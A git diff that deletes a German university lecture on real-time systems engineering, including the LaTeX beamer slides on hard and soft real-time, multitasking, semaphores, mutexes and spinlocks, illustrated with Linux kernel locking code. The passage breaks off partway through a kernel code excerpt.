diff --git a/20161006/Retribution_Engine_Screenshot_120807.jpg b/20161006/Retribution_Engine_Screenshot_120807.jpg deleted file mode 120000 index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000 --- a/20161006/Retribution_Engine_Screenshot_120807.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Retribution_Engine_Screenshot_120807.jpg \ No newline at end of file diff --git a/20161006/Telefon_t-sinus-700.jpg b/20161006/Telefon_t-sinus-700.jpg deleted file mode 120000 index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000 --- a/20161006/Telefon_t-sinus-700.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Telefon_t-sinus-700.jpg \ No newline at end of file diff --git a/20161006/Zeichen_123.pdf b/20161006/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20161006/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20161006/a380.jpg b/20161006/a380.jpg deleted file mode 120000 index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000 --- a/20161006/a380.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/a380.jpg \ No newline at end of file diff --git a/20161006/curiosity.jpg b/20161006/curiosity.jpg deleted file mode 120000 index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000 --- a/20161006/curiosity.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/curiosity.jpg \ No newline at end of file diff --git a/20161006/dsc_8208.jpg b/20161006/dsc_8208.jpg deleted file mode 120000 index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000 --- a/20161006/dsc_8208.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/dsc_8208.jpg \ No newline at end of file diff --git a/20161006/herzschrittmacher.jpg b/20161006/herzschrittmacher.jpg deleted file mode 120000 index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000 --- a/20161006/herzschrittmacher.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/herzschrittmacher.jpg \ No newline at end of file diff --git a/20161006/pathfinder.jpg b/20161006/pathfinder.jpg deleted file mode 120000 index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000 --- a/20161006/pathfinder.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/pathfinder.jpg \ No newline at end of file diff --git a/20161006/philosophenproblem.jpg b/20161006/philosophenproblem.jpg deleted file mode 120000 index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000 --- a/20161006/philosophenproblem.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/philosophenproblem.jpg \ No newline at end of file diff --git a/20161006/quadrocopter.jpg b/20161006/quadrocopter.jpg deleted file mode 120000 index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000 --- a/20161006/quadrocopter.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/quadrocopter.jpg \ No newline at end of file diff --git a/20161006/rp6.jpg b/20161006/rp6.jpg deleted file mode 120000 index 2a0ecff23845770c3a98178eca6dce3ec73aca58..0000000000000000000000000000000000000000 --- a/20161006/rp6.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/rp6.jpg \ No newline at end of file diff --git a/20161006/systech-20161006.pdf b/20161006/systech-20161006.pdf deleted file mode 100644 index fe2687fa0d56aabe606c876828f5bb7f8be9bbbf..0000000000000000000000000000000000000000 Binary files a/20161006/systech-20161006.pdf and /dev/null differ diff --git a/20161006/systech-20161006.tex b/20161006/systech-20161006.tex deleted file mode 100644 index 3da107969fae8dc05e689cf54eef731f495c7818..0000000000000000000000000000000000000000 --- a/20161006/systech-20161006.tex +++ /dev/null @@ -1,1824 +0,0 @@ -% systech-20161006.pdf - Lecture Slides on Advanced System Engineering -% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -%\usepackage{rotating} -\usepackage{pdftricks} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -\usepackage{tikz} - -\newrgbcolor{lightyellow}{0.95 0.85 0.0} -\newrgbcolor{lightorange}{1.0 0.7 0.0} -\newrgbcolor{lightgreen}{0.0 0.8 0.0} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks} - \psset{unit=1cm} -\end{psinputs} - -\title{Vertiefung Systemtechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{6.\ Oktober 2016} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\sectionnonumber{Vertiefung Systemtechnik} - -\begin{frame}[fragile] - - \begin{visibleenv}<2-> - \begin{picture}(2,1) - \put(1.3,0.6){\vector(0,-1){0.6}} - \put(1.3,0.6){\line(1,0){1}} - \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}} - \end{picture} -% \begin{pdfpic} -% \begin{pspicture}(2,1) -% \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}} -% \psline[arrows=->](2.3,0.6)(1.3,0.6)(1.3,-0.4) -% \end{pspicture} -% \end{pdfpic} -% \vspace{-1cm} - \end{visibleenv} - - \showsectionnonumber - - \begin{onlyenv}<3-> - - \begin{picture}(2,2.3)(0,-1.3) - \put(4.2,0.7){\vector(0,1){0.6}} - \only<3>{\put(0,0.5){\makebox(0,0)[tl]{\includegraphics[width=10.5cm]{wp-systemtechnik.png}}}} - \pause[4] - \put(4.2,0.5){\makebox(0,0)[t]{\Large\textbf{\color{structure}Echtzeitsysteme}}} - \pause - \put(6.0,-0.8){\vector(-1,1){0.6}} - \put(6.0,-0.9){\makebox(0,0)[t]{Geräte aller Art}} - \pause - \put(2.0,-0.8){\vector(1,1){0.6}} - \put(0,-0.9){\makebox(0,0)[tl]{Was ist Echtzeit?}} - \end{picture} - - \end{onlyenv} - -\end{frame} - -\begin{frame} - \begin{center} - \begin{tikzpicture} - \draw (0, 2) ellipse (4 and 3); - \node at (-1, 3.5) {Vertiefung Systemtechnik}; - \color{red} - \draw (3, 2) ellipse (4 and 3); - \node at (4, 3.5) {\shortstack{Software-Entwicklung\\für eingebettete Systeme}}; - \pause - \color{blue} - \draw (1.5, 0) ellipse (4 and 3); - \node at (1.5, 0.5) {\shortstack{Eingebettete Systeme\\(3.\ Semester)}}; - \pause - \color{gray} - \draw (5.5, -3.6) arc (0:180:4 and 3); - \node at (1.5, -3.3) {Netzwerktechnik}; - \end{tikzpicture} - \end{center} - \vspace*{-1cm} -\end{frame} - -\sectionnonumber{In dieser Lehrveranstaltung \dots} - -\begin{frame} - - \showsectionnonumber - \vspace*{-\medskipamount} - \begin{itemize} - \item - Theorie der Echtzeitprogrammierung: Vorlesung\,/\,Übung - \item - Praxis der Echtzeitprogrammierung: Projektaufgabe als Prüfungsleistung - \arrowitem - {\color{red} Projektaufgabe überlegen} - \item - Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof - \end{itemize} - - \bigskip - - Weiteres Angebot: - \begin{itemize} - \item - Einführung in Unix - \item - TCP/IP und Bus-Systeme in der Praxis - \item - Web-Interfaces - \end{itemize} - - \bigskip - - \color{gray} - Weitere Ideen: - \begin{itemize} - \item[\color{gray}$\bullet$] - \color{gray} - Einführung in die GUI-Programmierung - \end{itemize} - -% \begin{picture}(0,0) -% \put(4.5,1.2){\begin{rotate}{15}--- Serviervorschlag ---\end{rotate}} -% \end{picture} - -\end{frame} - -\clearpage\strut\clearpage - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] \color{red}Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme} - \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme} - \item[\textbf{4}] \textbf{Frameworks} -% \bigskip -% \item[\textbf{U}] \textbf{Einführung in Unix} -% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung} - \end{itemize} - -\end{frame} - -\section{Einführung} - -\subsection{Was ist Echtzeit?} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \pause - \item - Animation in Echtzeit:\\ - schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung - \pause - \medskip - \item - Fantasy-Rollenspiel in Echtzeit:\\ - Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. - \pause - \medskip - \item - Datenverarbeitung in Echtzeit:\\ - Die Daten werden so schnell verarbeitet, wie sie anfallen. - \pause - \medskip - \item - speziell: Echtzeit-Steuerung von Maschinen:\\ - Die Berechnung kann mit den physikalischen Vorgängen schritthalten. - \pause - \bigskip - \arrowitem - "`Schnell genug."' - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - "`Schnell genug."' \pause-- "`Und wenn nicht?"' - - \pause - - \begin{itemize} - \item - "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit} - \begin{onlyenv}<4-8> - \begin{picture}(0,0)(0,-0.3) - \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606 - \pause - \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}} - %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}} - % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg - \pause - \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642 - \pause - \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}} - % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - rechtzeitiges Ergebnis funktionsentscheidend - - \smallskip - - \pause - \item - "`Unschön."' \textarrow\ \newterm{weiche Echtzeit} - \begin{onlyenv}<10-12> - \begin{picture}(0,0)(0,0.3) - \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}} - % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg - \pause - \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - verspätetes Ergebnis qualitätsmindernd - \begin{itemize} - \baselineskip14pt\par - \item - verwenden und Verzögerung in Kauf nehmen - \item - verwerfen und Ausfall in Kauf nehmen - \end{itemize} - - \smallskip - - \pause - \item - "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt] - \textarrow\ \newterm{keine Echtzeit} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} -% \begin{picture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} -% \end{picture} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - \pause - - Beispiel: - \begin{itemize} - \item - Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ - dessen Berechnung maximal \SI{10}{\mics} dauert. - \pause[3] - \item - Entweder: Der Steuer-Computer macht noch andere Dinge.\\ - \textarrow\ Risiko der Zeitüberschreitung - \pause - \item - Oder: Der Steuer-Computer macht nichts anderes.\\ - \textarrow\ Verschwendung von Rechenzeit\\ - \pause - {\color{red}\textarrow\ Na und?} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - \medskip - - {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} - - \medskip - - \pause - Große Stückzahlen - \begin{itemize} - \item - 138\,000 Toyota Prius V von Mai 2011 bis April 2012 - \end{itemize} - - \medskip - - \pause - Wertvolle Ressourcen - \begin{itemize} - \item - Fähigkeiten einer Raumsonde optimieren - % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) - % 70000000 / 550000 = 127._27 - % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ - \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}} - \pause - \item - Implantat: Platz- und Stromverbrauch minimieren - \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}} - \end{itemize} - - \bigskip - - \pause - \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] - \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - -\end{frame} - -\subsection{Echtzeitprogrammierung} - -\begin{frame} - - \showsubsection - - Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - - \bigskip - - \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:} - - \begin{itemize} - \pause - \item - ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\ - % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG - Funk- vs.\ UART-Protokoll\\ - \textarrow\ dedizierte Hardware - \pause - \item - RP6:\\ - Motorsteuerung vs.\ Anwender-Software\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}} - \pause - \item - Quadrocopter:\\ - Motorsteuerung vs.\ Sensoren-Abfrage\\ - vs.\ Funk-Fernsteuerung \dots\\ - \textarrow\ spezielle Software - \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\ - \pause - \item - Flugzeugkabinensimulatortür:\\ - Türsteuerung vs.\ Bedienung\\ - \textarrow\ Echtzeitbetriebssystem - \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}} - \end{itemize} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] \color{medgreen}Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \color{red}\textbf{Theorie der Echtzeitsysteme} - \begin{itemize} - \item[2.1] \color{red}Multitasking - \end{itemize} - \item[\textbf{3}] \color{black}\textbf{Echtzeitbetriebssysteme} - \item[\textbf{4}] \textbf{Frameworks} -% \bigskip -% \item[\textbf{U}] \textbf{Einführung in Unix} -% \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung} - \end{itemize} - -\end{frame} - -\section{Theorie der Echtzeitsysteme} - -\begin{frame} - - \visible<5->{\showsection} - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - \pause - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\ - 1000mal pro Sekunde: Stopwatches\\ - 5mal pro Sekunde: Blinkende Power-On-LED\\ - 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\ - Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\ - Anpassung der Motorkraft in $\pm$1-Schritten - \pause - \item - Nebenbei: \only<4->{1 }Benutzerprogramm - \end{itemize} - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - \newterm{Kooperatives Multitasking}\\ - Prozesse geben freiwillig Rechenzeit ab - \item - \newterm{Präemptives Multitasking}\\ - Das Betriebssystem unterbricht laufende Prozesse\\ - (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen) - \bigskip - \item - \newterm{Scheduler}\\ - Steuerprogramm, das Prozessen Rechenzeit zuteilt - \item - \newterm{Kontextwechsel}\\ - Umschalten zwischen zwei Prozessen - \item - \newterm{Round-Robin-Verfahren (Rundlauf)}\\ - Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse - \bigskip - \pause - \item - Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\ - allgemein: Zuteilung von Ressourcen - \end{itemize} - -\end{frame} - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - verschiedene Tasks werden unterschiedlich häufig aufgerufen - \item - Nebenbei: 1 Benutzerprogramm - \end{itemize} - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ - Task mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ - bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - % Aufgabe: Wo wird der Zähler heruntergezählt? - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - - \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - - \bigskip - - \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} - \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. - \pause - \item - Schadet das? - \textarrow\ - Nein. - \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. - \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\subsectionnonumber{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item<3-> - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \smallskip - \begin{onlyenv}<4> - \begin{itemize} - \item - \newterm{Latenz:} interaktive Anwendungen - \item - \newterm{Jitter:} Echtzeitanwendungen - \item - \newterm{Durchsatz:} Stapelverarbeitung - \end{itemize} - \vspace*{-3cm} - \end{onlyenv} - \item<5-> - Ressourcen reservieren:\\ - \newterm{Mutexe} - \only<6->{(= spezielle \newterm{Semaphore\/})\\} - \only<7->{\textarrow\ kommt gleich} - \item<8-> - Verschiedene Methoden\\ - der Priorisierung\\ - \textarrow\ später\\ - \strut - \item<9-> - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \pause - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren -- - Beispiel: \file{linux-3.7rc1} - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{kernel/semaphor.c}\\ - \file{drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{kernel/mutex.c}\\ - \file{drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{kernel/spinlock.c}\\ - \file{kernel/semaphor.c}, - \file{kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that 